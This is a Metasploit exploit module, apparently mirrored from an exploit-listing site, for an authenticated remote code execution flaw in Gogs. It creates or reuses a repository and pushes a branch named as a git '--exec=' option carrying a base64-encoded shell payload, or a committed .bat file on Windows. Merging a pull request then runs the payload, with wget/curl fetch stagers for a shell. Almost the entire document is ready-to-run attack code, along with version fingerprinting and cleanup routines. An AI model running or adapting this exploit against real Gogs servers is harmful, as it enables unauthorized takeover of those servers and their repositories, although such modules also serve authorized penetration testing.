Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-GOGS_REBASE_RCE-
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gogs Git Rebase Argument Injection RCE',
        'Description' => %q{
          This module exploits an argument injection vulnerability in the
          pull request merge flow of Gogs (<= 0.14.2 and <= 0.15.0+dev).

          The Merge() function in internal/database/pull.go passes the PR
          base branch name to `git rebase` without a `--` separator. A
          branch named `--exec=<CMD>` is parsed by Git as the --exec flag
          rather than a positional argument, causing `sh -c <CMD>` to run
          after each replayed commit during the rebase.

          Two exploitation methods are supported:

          - own_repo: The attacker creates a temporary repository, enables
          rebase merge, and operates entirely within their own account.
          Any authenticated user who can create repositories (the default)
          can exploit this with no interaction from other users required.

          - existing_repo: The attacker exploits a repository they already
          have write and merge access to, where "Rebase before merging"
          is enabled (or the attacker has repo admin permissions to
          enable it). This path is useful on instances where repository
          creation is restricted.

          Both methods use git to push divergent branches (including the
          malicious --exec= branch), open a pull request, and trigger a
          rebase merge to execute the payload. A local git installation
          is required.

          On Unix targets, the payload is base64-encoded inline in
          the malicious branch name, avoiding the need to commit files
          to the repository. On Windows targets, the payload is
          delivered via a script file committed to the repository,
          since NTFS forbids pipe characters in filenames. Git for
          Windows uses MSYS2 sh for --exec commands, enabling
          cross-platform exploitation.

          Note: a successful rebase merge may leave the server-side
          repository in a corrupted git state (mid-rebase). For
          own_repo this is inconsequential because the repository is
          deleted. For existing_repo this can break the target
          repository and prevent re-exploitation against the same repo.

          The Gogs API does not support token deletion, so the API
          access token created during exploitation cannot be removed
          automatically and will persist under the attacker account.
        },
        'Author' => [
          'Crypto-Cat', # Vulnerability discovery and Metasploit module
        ],
        'References' => [
          # ['CVE', ''],
          ['GHSA', 'qf6p-p7ww-cwr9', 'gogs/gogs'],
          ['URL', 'https://www.rapid7.com/blog/post/ve-authenticated-rce-via-argument-injection-gogs-unfixed'],
          ['URL', 'https://github.com/gogs/gogs'],
        ],
        'DisclosureDate' => '2026-03-17',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux', 'win'],
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => ['linux', 'unix'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'WGET',
                'FETCH_WRITABLE_DIR' => '/tmp/'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'CURL'
              }
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 3000,
          'WfsDelay' => 30
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          # Not REPEATABLE_SESSION: existing_repo can corrupt the target
          # repo's git state (mid-rebase), preventing re-exploitation.
          'Reliability' => []
        }
      )
    )

    register_options([
      OptString.new('USERNAME', [true, 'Gogs username', nil]),
      OptString.new('PASSWORD', [true, 'Gogs password', nil]),
      OptEnum.new('EXPLOIT_METHOD', [
        true, 'Exploit method: own_repo creates a temporary repo, existing_repo targets a repo the attacker has write access to',
        'own_repo', ['own_repo', 'existing_repo']
      ]),
      OptString.new('REPO_OWNER', [false, 'Owner of the target repository (required for existing_repo)', nil], conditions: %w[EXPLOIT_METHOD == existing_repo]),
      OptString.new('REPO_NAME', [false, 'Name of the target repository (required for existing_repo)', nil], conditions: %w[EXPLOIT_METHOD == existing_repo]),
      OptBool.new('ENABLE_REBASE', [
        true, 'Enable rebase merge in repository settings (existing_repo requires repo admin access)', true
      ]),
    ])

    @need_cleanup = false
  end

  # Maps CSS/JS commit hashes to Gogs release versions for fingerprinting.
  # The hash appears in the ?v= parameter of static asset URLs on unauthenticated pages.
  COMMIT_TO_VERSION = {
    '5dcb6c64bdf61e38dbdbb941c1d69789c560d0fb' => '0.14.2',
    'f5c8030c1fd936f3e0e9f774e3c7c39fd102f56f' => '0.14.1',
    '36c26c4ccc3ca0339db53eb1fa41e4e86b55163d' => '0.14.0',
    'd958a47a0e9d8747e399c687fdb3ec64a3b1a736' => '0.13.4',
    '5084b4a9b77a506f5e287e82e945e1c6882b827a' => '0.13.3',
    '593c7b6db601c68d16b2fb9a7e1194cb816f5efb' => '0.13.2',
    '0c40e600a275d490481cfeea53705810fbe94d9b' => '0.13.1',
    '8c21874c00b6100d46b662f65baeb40647442f42' => '0.13.0',
    'c9fba3cb30af0789fcf89098dfcb8f2286ee7d3b' => '0.12.11',
    '1ce5171ae170750298c150874e718740dd7ef69f' => '0.12.10',
    '012a1ba19ed2f8f5185be4254f655ba6c4b34db2' => '0.12.9',
    '7f8799c01f264eb7770766621fb68debee414b68' => '0.12.8',
    'd06ba7e527fcc462aecdb660ce001e87d94f024c' => '0.12.7',
    '26395294bdef382b577fd60234e5bb14f4090cc8' => '0.12.6'
  }.freeze

  def own_repo?
    datastore['EXPLOIT_METHOD'] == 'own_repo'
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )
    return CheckCode::Unknown('Target did not respond.') unless res

    unless res.body.to_s.match(/<meta +name="author" +content="Gogs"/)
      return CheckCode::Safe('Target does not appear to be running Gogs.')
    end

    # Fingerprint via static asset commit hash (unauthenticated, all versions)
    version = nil
    hash_match = res.body.to_s.match(/gogs\.min\.css\?v=([a-f0-9]{40})/)
    if hash_match
      version = COMMIT_TO_VERSION[hash_match[1]]
      vprint_status("Unknown Gogs commit hash: #{hash_match[1]}") unless version
    end

    service_info = version ? "Gogs Git Service #{version}" : 'Gogs Git Service'
    report_gogs_service(service_info)

    if version
      ver = Rex::Version.new(version)
      # NOTE: No fix exists yet. We assume a future version > 0.14.2 will
      # include a patch. If the next release (e.g. 0.14.3) is still
      # vulnerable, update this threshold accordingly.
      if ver <= Rex::Version.new('0.14.2')
        return CheckCode::Appears("Gogs #{version} detected.")
      else
        return CheckCode::Safe("Gogs #{version} detected.")
      end
    end

    CheckCode::Detected('Gogs detected, but could not determine version.')
  end

  def exploit
    fail_with(Failure::BadConfig, 'Local git installation required but not found') unless git_available?

    unless own_repo?
      fail_with(Failure::BadConfig, 'REPO_OWNER is required when EXPLOIT_METHOD is existing_repo') if datastore['REPO_OWNER'].blank?
      fail_with(Failure::BadConfig, 'REPO_NAME is required when EXPLOIT_METHOD is existing_repo') if datastore['REPO_NAME'].blank?
    end

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    # Authenticate (API token first, before web login adds session cookies)
    print_status("Authenticating as \"#{datastore['USERNAME']}\"")
    create_api_token
    gogs_login
    print_good('Authenticated')

    if own_repo?
      @repo_name = "#{Rex::Text.rand_text_alpha_lower(4)}-#{Rex::Text.rand_text_alpha_lower(4)}"
      @repo_path = "#{datastore['USERNAME']}/#{@repo_name}"
      print_status("Creating repository \"#{@repo_name}\"")
      create_repo
      @need_cleanup = true
      print_good('Repository created')

      print_status('Enabling rebase merge in repository settings')
      enable_rebase_merge
      print_good('Rebase merge enabled')
    else
      @repo_name = datastore['REPO_NAME']
      @repo_path = "#{datastore['REPO_OWNER']}/#{@repo_name}"
      print_status("Using existing repository \"#{@repo_path}\"")
      validate_existing_repo
      @need_cleanup = true

      if datastore['ENABLE_REBASE']
        try_enable_rebase
      else
        print_status('Assuming rebase merge is already enabled (set ENABLE_REBASE to change settings)')
      end
    end

    case target['Type']
    when :unix_cmd
      # Base64-encode the payload inline in the branch name. Pipes are
      # valid in Linux/macOS refs but forbidden on NTFS, so this is
      # Unix-only. No script file needs to be committed to the repo.
      wrapped = "(#{payload.encoded}) </dev/null >/dev/null 2>&1 &"
      b64 = Rex::Text.encode_base64(wrapped)
      # Git ref names forbid '//'; re-pad with leading spaces until safe
      padding = 0
      while b64.include?('//') && padding < 50
        padding += 1
        b64 = Rex::Text.encode_base64(' ' * padding + wrapped)
      end
      @malicious_branch = "--exec=echo${IFS}#{b64}|base64${IFS}-d|sh"

    when :win_cmd
      # NTFS forbids | in filenames so we can't use the base64|sh
      # approach. Instead, commit a script file to the repo.
      # MSYS2 sh mangles $, & etc. so write the payload to a .bat and
      # have the sh wrapper invoke cmd.exe instead.
      rand_name = Rex::Text.rand_text_alpha_lower(6)
      @payload_content = payload.encoded
      @payload_file = ".#{rand_name}"
      @bat_file = ".#{rand_name}.bat"
      @malicious_branch = "--exec=sh${IFS}#{@payload_file}"
    end

    print_status('Pushing branches via git')
    setup_branches_via_git
    print_good('Branches pushed')

    print_status('Creating pull request')
    @pr_number = create_pull_request
    print_good("PR ##{@pr_number} created")

    print_status('Triggering rebase merge')
    trigger_rebase_merge
    report_vuln(
      host: rhost,
      port: rport,
      proto: 'tcp',
      name: name,
      info: "Exploited via #{datastore['EXPLOIT_METHOD']} method",
      refs: references,
      service: report_gogs_service('Gogs Git Service')
    )
    print_good('Rebase merge triggered, waiting for shell...')
  end

  # ---------------------------------------------------------------
  # Authentication
  # ---------------------------------------------------------------

  def gogs_login
    res = http_post_request(
      '/user/login',
      user_name: datastore['USERNAME'],
      password: datastore['PASSWORD']
    )
    fail_with(Failure::Unreachable, 'Login page unreachable') unless res
    fail_with(Failure::NoAccess, 'Login failed - check credentials') unless res.code == 302
  end

  def create_api_token
    preflight = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'v1')
    )
    fail_with(Failure::Unreachable, 'Gogs API not responding') unless preflight

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'users', datastore['USERNAME'], 'tokens'),
      'ctype' => 'application/json',
      'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) },
      'data' => { name: "msf_#{Rex::Text.rand_text_alpha_lower(8)}" }.to_json
    )
    fail_with(Failure::UnexpectedReply, "API token creation failed (HTTP #{res&.code})") unless res&.code == 201

    @api_token = res.get_json_document['sha1']
    vprint_good("API token: #{@api_token}")
  end

  # ---------------------------------------------------------------
  # Repository setup
  # ---------------------------------------------------------------

  def create_repo
    res = api_request(
      'POST',
      '/api/v1/user/repos',
      { name: @repo_name, private: true, default_branch: 'master' }.to_json
    )
    fail_with(Failure::UnexpectedReply, "Repo creation failed: #{res&.code}") unless res&.code == 201
  end

  def enable_rebase_merge
    res = http_post_request(
      "/#{@repo_path}/settings",
      action: 'advanced',
      enable_pulls: 'on',
      pulls_allow_rebase: 'on'
    )
    fail_with(Failure::Unreachable, 'Settings page unreachable') unless res
    fail_with(Failure::UnexpectedReply, 'Failed to enable rebase merge') unless [200, 302].include?(res.code)
  end

  def validate_existing_repo
    res = api_request('GET', "/api/v1/repos/#{@repo_path}")
    fail_with(Failure::BadConfig, "Repository #{@repo_path} not found or not accessible") unless res&.code == 200

    repo_info = res.get_json_document
    db = repo_info['default_branch'].to_s
    @default_branch = db.empty? ? 'master' : db
    vprint_status("Default branch: #{@default_branch}")
    print_good("Repository #{@repo_path} confirmed accessible")
  end

  def try_enable_rebase
    print_status('Attempting to enable rebase merge in repository settings')
    settings_uri = normalize_uri(target_uri.path, @repo_path, 'settings')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => settings_uri,
      'keep_cookies' => true
    )

    unless res && res.code == 200
      print_warning('Could not access repository settings (may require repo admin). Ensure rebase merge is already enabled.')
      return
    end

    doc = res.get_html_document
    csrf = doc.at_xpath("//input[@name='_csrf']/@value")&.text
    unless csrf
      print_warning('Could not extract CSRF from settings page. Ensure rebase merge is already enabled.')
      return
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => settings_uri,
      'keep_cookies' => true,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        '_csrf' => csrf,
        'action' => 'advanced',
        'enable_pulls' => 'on',
        'pulls_allow_rebase' => 'on'
      }
    )

    if res && [200, 302].include?(res.code)
      print_good('Rebase merge enabled')
    else
      print_warning('Could not enable rebase merge. Ensure it is already enabled.')
    end
  end

  # ---------------------------------------------------------------
  # Branch setup via local git
  # ---------------------------------------------------------------

  def setup_branches_via_git
    @tmpdir = Dir.mktmpdir('msf_gogs_')
    workdir = File.join(@tmpdir, 'work')
    clone_url = build_clone_url

    if own_repo?
      run_git!(['init', workdir])
      run_git!(['remote', 'add', 'origin', clone_url], workdir)
    else
      run_git!(['clone', clone_url, workdir])
    end

    run_git!(['config', 'user.email', Faker::Internet.email], workdir)
    run_git!(['config', 'user.name', Faker::Internet.username], workdir)

    if own_repo?
      File.write(File.join(workdir, 'README.md'), "# #{@repo_name}\n")
      run_git!(['add', '.'], workdir)
      run_git!(['commit', '-m', 'init'], workdir)
      run_git!(['push', '-u', 'origin', 'master'], workdir)
    end

    @feature_branch = "feature-#{Rex::Text.rand_text_alpha_lower(6)}"
    run_git!(['checkout', '-b', @feature_branch], workdir)
    File.write(File.join(workdir, 'feature.txt'), Rex::Text.rand_text_alpha(8))
    run_git!(['add', '.'], workdir)
    run_git!(['commit', '-m', 'feature'], workdir)
    run_git!(['push', 'origin', @feature_branch], workdir)

    # Create a divergent commit to force a rebase. For existing_repo, use
    # the repo's default branch. Never push directly to the base branch.
    base_branch = own_repo? ? 'master' : (@default_branch || 'master')
    run_git!(['checkout', base_branch], workdir)
    File.write(File.join(workdir, 'diverge.txt'), Rex::Text.rand_text_alpha(8))

    # Write payload script files for Windows targets. Linux uses
    # base64-encoded payload inline in the branch name instead.
    if @bat_file
      # sh wrapper -> cmd.exe -> .bat (//c prevents MSYS2 path conversion)
      File.write(File.join(workdir, @payload_file), "cmd.exe //c #{@bat_file} </dev/null >/dev/null 2>&1 &\n")
      File.write(File.join(workdir, @bat_file), @payload_content + "\n")
    end

    run_git!(['add', '.'], workdir)
    run_git!(['commit', '-m', 'diverge'], workdir)

    # Push malicious branch via refspec (bypasses checkout -b validation).
    # Don't push to the base branch itself (especially for existing_repo).
    run_git!(['push', 'origin', "HEAD:refs/heads/#{@malicious_branch}"], workdir)
    vprint_good("Malicious branch: #{@malicious_branch}")

    vprint_good("Feature branch: #{@feature_branch}")
  end

  def build_clone_url
    user_enc = Rex::Text.uri_encode(datastore['USERNAME'])
    pass_enc = Rex::Text.uri_encode(datastore['PASSWORD'])
    scheme = datastore['SSL'] ? 'https' : 'http'
    authority = Rex::Socket.to_authority(rhost, rport)
    "#{scheme}://#{user_enc}:#{pass_enc}@#{authority}#{normalize_uri(target_uri.path, @repo_path)}.git"
  end

  def git_available?
    _out, _err, status = Open3.capture3('git', '--version')
    status.success?
  rescue Errno::ENOENT
    false
  end

  def run_git!(args, cwd = nil)
    env = { 'GIT_TERMINAL_PROMPT' => '0' }
    opts = {}
    opts[:chdir] = cwd if cwd
    stdout, stderr, status = Open3.capture3(env, 'git', *args, **opts)
    unless status.success?
      fail_with(Failure::Unknown, "Git #{args.first} failed: #{stderr.strip}")
    end
    stdout
  end

  # Non-fatal variant for cleanup operations where failure is acceptable
  def run_git_safe(args, cwd = nil)
    env = { 'GIT_TERMINAL_PROMPT' => '0' }
    opts = {}
    opts[:chdir] = cwd if cwd
    _stdout, stderr, status = Open3.capture3(env, 'git', *args, **opts)
    unless status.success?
      vprint_warning("Git #{args.first} failed: #{stderr.strip}")
      return false
    end
    true
  rescue StandardError => e
    vprint_warning("Git #{args.first} error: #{e.message}")
    false
  end

  # ---------------------------------------------------------------
  # Pull request and merge
  # ---------------------------------------------------------------

  def create_pull_request
    encoded_branch = Rex::Text.uri_encode(@malicious_branch)
    compare_uri = "/#{@repo_path}/compare/#{encoded_branch}...#{@feature_branch}"

    res = http_post_request(
      compare_uri,
      title: Rex::Text.rand_text_alpha(6),
      content: '',
      assignee_id: '0',
      milestone_id: '0'
    )
    fail_with(Failure::Unreachable, 'Compare page unreachable') unless res

    if [302, 303].include?(res.code)
      location = res.headers['Location'].to_s
      pr_num = location.chomp('/').split('/').last
      return pr_num if pr_num =~ /^\d+$/
    end

    # Fallback: find PR via API
    res = api_request('GET', "/api/v1/repos/#{@repo_path}/pulls?state=open")
    if res&.code == 200
      pulls = res.get_json_document
      return pulls.last['number'].to_s unless pulls.empty?
    end

    fail_with(Failure::UnexpectedReply, 'PR creation failed')
  end

  def trigger_rebase_merge
    merge_uri = "/#{@repo_path}/pulls/#{@pr_number}/merge"

    pr_uri = "/#{@repo_path}/pulls/#{@pr_number}"
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, pr_uri),
      'keep_cookies' => true
    )
    csrf = extract_csrf(res)

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, merge_uri),
      'keep_cookies' => true,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_get' => { 'merge_style' => 'rebase_before_merging' },
      'vars_post' => {
        '_csrf' => csrf,
        'commit_description' => ''
      }
    }, 5)
    # May return 500 (expected on exec), 302 (merged), or timeout (blocking shell)

    # Reset connection pool since the merge POST may have timed out
    disconnect
  end

  # ---------------------------------------------------------------
  # HTTP helpers
  # ---------------------------------------------------------------

  def api_request(method, uri, body = nil)
    opts = {
      'method' => method,
      'uri' => normalize_uri(target_uri.path, uri),
      'headers' => { 'Authorization' => "token #{@api_token}" }
    }
    if body
      opts['ctype'] = 'application/json'
      opts['data'] = body
    end
    send_request_cgi(opts)
  end

  def http_post_request(uri, opts = {})
    full_uri = normalize_uri(target_uri.path, uri)
    csrf = get_csrf(full_uri)

    post_data = { _csrf: csrf }.merge(opts)
    send_request_cgi(
      'method' => 'POST',
      'uri' => full_uri,
      'ctype' => 'application/x-www-form-urlencoded',
      'keep_cookies' => true,
      'vars_post' => post_data
    )
  end

  def get_csrf(uri)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => uri,
      'keep_cookies' => true
    )
    fail_with(Failure::Unreachable, "Unable to reach #{uri}") unless res

    extract_csrf(res)
  end

  def extract_csrf(res)
    fail_with(Failure::Unreachable, 'No response to extract CSRF from') unless res

    doc = res.get_html_document
    csrf = doc.at_xpath("//input[@name='_csrf']/@value")&.text
    fail_with(Failure::NotFound, 'CSRF token not found in response') if csrf.blank?

    csrf
  end

  def basic_auth(user, pass)
    "Basic #{Rex::Text.encode_base64("#{user}:#{pass}")}"
  end

  # Returns a service object for linking to report_vuln.
  # Builds the full layered service hierarchy: gogs -> [ssl ->] http -> tcp
  def report_gogs_service(info)
    base_opts = {
      host: rhost,
      port: rport,
      proto: 'tcp'
    }
    gogs_srv = base_opts.merge(name: 'gogs', info: info)
    http_srv = base_opts.merge(name: 'http', parents: base_opts.merge(name: 'tcp'))
    gogs_srv[:parents] = datastore['SSL'] ? base_opts.merge(name: 'ssl', parents: http_srv) : http_srv

    report_service(gogs_srv)
  end

  # ---------------------------------------------------------------
  # Cleanup
  # ---------------------------------------------------------------

  def cleanup
    super

    if @need_cleanup
      if own_repo?
        cleanup_own_repo
      else
        cleanup_existing_repo
      end
    end

    # Clean up local temp directory AFTER remote cleanup (existing_repo
    # branch deletion uses the local git workdir for push operations)
    if @tmpdir && File.directory?(@tmpdir)
      FileUtils.rm_rf(@tmpdir)
      vprint_status('Local temp directory cleaned up')
    end

    # Gogs API has no token deletion endpoint, so warn the user
    if @api_token
      print_warning('API token "msf_*" persists on the target (Gogs API does not support token deletion)')
    end
  end

  def cleanup_own_repo
    print_status("Cleaning up - deleting repository #{@repo_name}")

    send_request_cgi(
      'method' => 'DELETE',
      'uri' => normalize_uri(target_uri.path, '/api/v1/repos/', @repo_path),
      'headers' => { 'Authorization' => "token #{@api_token}" }
    )

    verify = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/api/v1/repos/', @repo_path),
      'headers' => { 'Authorization' => "token #{@api_token}" }
    )

    if verify&.code == 404
      print_good("Repository #{@repo_name} deleted")
    elsif verify.nil?
      print_warning("Could not confirm deletion. Delete #{@repo_path} manually if it still exists.")
    else
      print_warning("Repository may still exist. Delete #{@repo_path} manually.")
    end
  rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
    print_warning("Cleanup failed: #{e.message}. Delete #{@repo_path} manually.")
  end

  def cleanup_existing_repo
    print_status("Cleaning up artifacts from #{@repo_path}")
    delete_remote_branches
    close_pull_request
  rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
    print_warning("Cleanup failed: #{e.message}")
    print_warning("Manually delete branches and close PR ##{@pr_number} in #{@repo_path}")
  end

  def delete_remote_branches
    workdir = @tmpdir ? File.join(@tmpdir, 'work') : nil
    return unless workdir && File.directory?(workdir)

    if @malicious_branch
      vprint_status("Deleting malicious branch from #{@repo_path}")
      if run_git_safe(['push', 'origin', '--delete', "refs/heads/#{@malicious_branch}"], workdir)
        print_good('Malicious branch deleted')
      else
        print_warning("Could not delete malicious branch. Delete it manually from #{@repo_path}")
      end
    end

    if @feature_branch
      vprint_status("Deleting feature branch from #{@repo_path}")
      if run_git_safe(['push', 'origin', '--delete', @feature_branch], workdir)
        print_good('Feature branch deleted')
      else
        print_warning("Could not delete feature branch \"#{@feature_branch}\" from #{@repo_path}")
      end
    end
  end

  def close_pull_request
    return unless @pr_number

    # GET the PR page for CSRF (must use /pulls/ path; /issues/ redirects)
    pr_page = normalize_uri(target_uri.path, @repo_path, 'pulls', @pr_number)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => pr_page,
      'keep_cookies' => true
    )

    unless res
      print_warning("Could not load PR page to close PR ##{@pr_number}")
      return
    end

    # Extract CSRF without fail_with (cleanup must not abort)
    doc = res.get_html_document
    csrf = doc.at_xpath("//input[@name='_csrf']/@value")&.text
    unless csrf
      print_warning("Could not find CSRF token to close PR ##{@pr_number}")
      return
    end

    comment_uri = normalize_uri(target_uri.path, @repo_path, 'issues', @pr_number, 'comments')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => comment_uri,
      'keep_cookies' => true,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        '_csrf' => csrf,
        'status' => 'close',
        'content' => ''
      }
    )

    if res && [200, 302].include?(res.code)
      print_good("PR ##{@pr_number} closed")
    else
      print_warning("Could not close PR ##{@pr_number}. Close it manually in #{@repo_path}")
    end
  rescue StandardError => e
    print_warning("Failed to close PR: #{e.message}")
  end
end